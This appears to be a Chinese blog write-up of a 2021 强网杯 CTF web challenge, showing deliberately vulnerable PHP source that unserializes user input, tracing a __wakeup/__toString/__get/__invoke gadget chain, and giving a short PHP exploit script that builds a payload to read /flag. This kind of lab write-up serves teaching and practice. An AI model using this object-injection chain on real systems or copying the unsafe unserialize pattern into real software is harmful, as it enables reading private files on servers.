文章目录

  • 源代码:
  • 分析
    • __invoke
    • __get
    • _tostring
  • EXP
  • 调用流程:
  • 总结

源代码:

<meta charset="utf-8">
<?php
//hint is in hint.php
error_reporting(1);class Start
{public $name='guest';public $flag='syst3m("cat 127.0.0.1/etc/hint");';public function __construct(){echo "I think you need /etc/hint . Before this you need to see the source code";}public function _sayhello(){echo $this->name;return 'ok';}public function __wakeup(){echo "hi";$this->_sayhello();}public function __get($cc){echo "give you flag : ".$this->flag;return ;}
}class Info
{private $phonenumber=123123;public $promise='I do';public function __construct(){$this->promise='I will not !!!!';return $this->promise;}public function __toString(){return $this->file['filename']->ffiillee['ffiilleennaammee'];}
}class Room
{public $filename='/flag';public $sth_to_set;public $a='';public function __get($name){$function = $this->a;return $function();}public function Get_hint($file){$hint=base64_encode(file_get_contents($file));echo $hint;return ;}public function __invoke(){$content = $this->Get_hint($this->filename);echo $content;}
}if(isset($_GET['hello'])){unserialize($_GET['hello']);
}else{$hi = new  Start();
}?>

是一道反序列化的题目,首先想到的应该是寻找_destruct,_construct方法看是否有命令执行的地方,
这里只存在一个__construct方法。这个方法不大行

public function __construct(){$this->promise='I will not !!!!';return $this->promise;}

分析

其次在寻找魔法函数的时候,在ROOM类里面可以看见有一个get_hint方法,那么这个方法极大可能是我们最后需要调用的方法。
接下从这个方法往前面推,要想调用get_hint,必须调用_invoke(),_invoke是一个魔法函数,把实例化的对象当成函数使用,就会自动调用:

__invoke

举个例子:

<?php class test1(){public $a='abc';public function __invoke(){echo “invoke !!\n”;}}$dog=new test1();$dog('123');$dog();//输出内容: invoke !!  invoke !!

知道了上面的调用方法,接下来再去寻找一下return的地方,因为这里要调用__invoke要求严格,必须先实例化,在当成函数使用,也就是说,必须是return Room();
而大多数return里面,仅仅return字符串,所以这样一来,我们能利用的return也就只有一个地方了:

    public function __get($name){$function = $this->a;return $function();}

a参数可控,这里可以让this->$a=new Room();后面return $function()的时候就是一个方法了。
!!这里自己当时被坑了一下,没有看见$function后面的括号!!

到目前为止,我们已经知道可以通过Room里面的__get方法可以调用__invoke方法拿到FLAG
接下来看一看,如何调用__get方法:

__get

__get方法调用条件是:访问一个私有属性或者一个不存在(没有初始化)的属性,举个例子:

<?php class test1{public $a='1';private $c='2';public function __get($name){echo "__get!!! \n";}}$b=new test1();$b->$a;$b->$c;$b->$asdas;//输出:  __get!!!_ _get!!! __get!!!

知道了怎么调用__get后,再去其他两个类寻找一下入口:

// class info
public function __toString(){return $this->file['filename']->ffiillee['ffiilleennaammee'];}

那么很显然,要调用Room中的__get方法,这里__tostring方法中的file[‘filename’]应该是new Room(),fifilee[
ffiilleennaammee]不存在 ,就可以调用了那么如何调用_tostring方法

_tostring

_tostring方法在输出、打印实例化对象的时候被调用,举个例子:

<?php class test1{public $a='1';private $c='2';public function __tostring(){echo '__tostring!!';}}$b=new test1();echo new test1();echo $b;

接下来就是去找可以echo或者return的地方

//class Start
public function _sayhello(){echo $this->name;return 'ok';}

接下来就是顺理成章的调用_sayhello ,剩下的就很简单了,实例化Start类,自动调用wakeup方法,从而调用_sayhello方法,参数我们都可以控制

EXP

<?php
class Start{}
class Info{}
class Room{
public function __construct(){
$this->filename = "/flag";
}
}
$a = new Start();
$b = new Info();
$c = new Room();
$c->a = new Room();
$b->file['filename'] = $c;
$a->name = $b;
echo serialize($a);
?>

调用流程:

从下往上依次调用

总结

这道题还是比较基础,都是考察简单的魔术方法,基础很重要,复现的时候可以自己搭环境调试看看整个流程。
有写得不对的地方,希望师傅们指出

2021强网杯 Web赌徒 WP相关推荐

  1. 第二届全国强网杯Web 题three hit学习心得(伪write up)

    前言:本人CTF-WEB入门,有参赛,赛后参考了很多write up想解出此题,无奈理解能力有限,看不懂很多大佬的思路,最后看 酷辣虫上的一篇大佬write up才弄明白. 现将学习心得总结如下,说得 ...

  2. 【CTF整理】Who are you (2017强网杯web题)

    [CTF整理]Who are you (2017强网杯web题) 别人思路总结: 0x01 初探 打开网页就是一句"Sorry. You have no permissions." ...

  3. 强网杯Web部分review

    0x01 上个月强网杯结束,看了一下Web题目,代码审计及php 反序列化等.本着学习的态度,试着本地复现一下.靶机下载:https://github.com/glzjin/qwb_2019_uplo ...

  4. 细说强网杯Web辅助

    亲爱的,关注我吧 8/27 文章共计1908个词 包括三段长代码 今天的内容无图,流量不预警 和我一起阅读吧 1 写在前面 这里就借由强网杯的一道题目"Web辅助",来讲讲从构造P ...

  5. 2015广东强网杯web专题

    2015广州强网杯 1.万国码 Unicode编码转换 #-*- coding : gbk -*- s=u'\u0066\u006c\u0061\u0067\u007b\u0032\u0035\u00 ...

  6. 2021强网杯 ezmath writeup

    前言 题目ida查看后发现是浮点数的运算,涉及到精度的问题,本来想的是爆破每一位,但是发现条件由于精度损失的问题不可能相等,且数据越来越大,直到程序inf.后来听说是math有关的知识,看了别人的wp ...

  7. 2021 强网杯 pwn notebook

    kernal pwn 给了几个文件,然后来看看启动文件 #!/bin/sh stty intr ^] exec timeout 300 qemu-system-x86_64 -m 64M -kerne ...

  8. 强强联手:2021强网杯LongTimeAgo复盘分析

    花指令 查看main函数能看出有异常跳转. 查看汇编,将此处c为代码. 之后再依次去除花指令,再反汇编得到main函数伪代码. 主函数不短,先根据参数大概还原函数名,可以看出是常规的对输入加密再che ...

  9. 强网杯2019(高明的黑客强网先锋上单)

    强网杯2019(高明的黑客&强网先锋上单) 前言 这里主要是对强网杯web中高明的黑客和上单两道题进行一个复现回顾 再次感谢大佬提供的场景复现:https://www.zhaoj.in/rea ...

最新文章

  1. 支持的网卡列表_Windows 10的5G网卡折腾笔记(含采购链接)
  2. FPGA笔试题解析(五):串并转换与奇分频电路
  3. git拉取单个文件_Git拿来就用
  4. UIPasteboard
  5. 51nod 1785 数据流中的算法 (方差计算公式)
  6. java = 优化_Java9系列第7篇:Java.util.Optional优化与增强 - 字母哥博客 - 博客园
  7. Java学习笔记(7)——输入输出
  8. 机器学习 vs. 深度学习
  9. mysql对结果限制_在查询中限制MySQL结果
  10. html登陆部分项目答辩演讲稿,D-POTDR项目答辩讲稿材料
  11. 读写锁优先级的问题解决了
  12. 用nunit时,老是搞忘英文,在这里记录一下,方便到处查阅
  13. RNN LSTM GRU Attention transformer公式整理总结(超详细图文公式)
  14. 高并发 多线程批量ping工具 nbping简介和使用
  15. IDEA配置JDK源码阅读环境
  16. Python导包的几种方法,自定义包的生成以及导入详解
  17. java写一个android程序_【Android开发笔记】3.编写第一个Android程序
  18. FlexRay在AUTOSAR的实施
  19. 一份完整的app产品运营推广方案,app推广运营的方法(一)
  20. 项目:淘宝用户数据分析

热门文章

  1. win10查看端口号、进程
  2. 从入门到入土:IP源地址欺骗dos攻击实验
  3. 力扣:647. 回文子串
  4. Beyond Compare 相同文件对比结果仍显示红色 解决方案【转存】
  5. Android逆向分析之Xposed的hook技术
  6. 快速调整 图片的 像素大小
  7. JS 自定义sort方法实现星期的排序【开发记录】
  8. 今天有个同事L发了一个“称象”的帖子,不过更搞笑的是另一个同事Z回了一个经典的解答。...
  9. spi sync async
  10. 我的世界服务器信号下面是红,适用于服务器的红石抽奖机我的世界抽奖机电路图...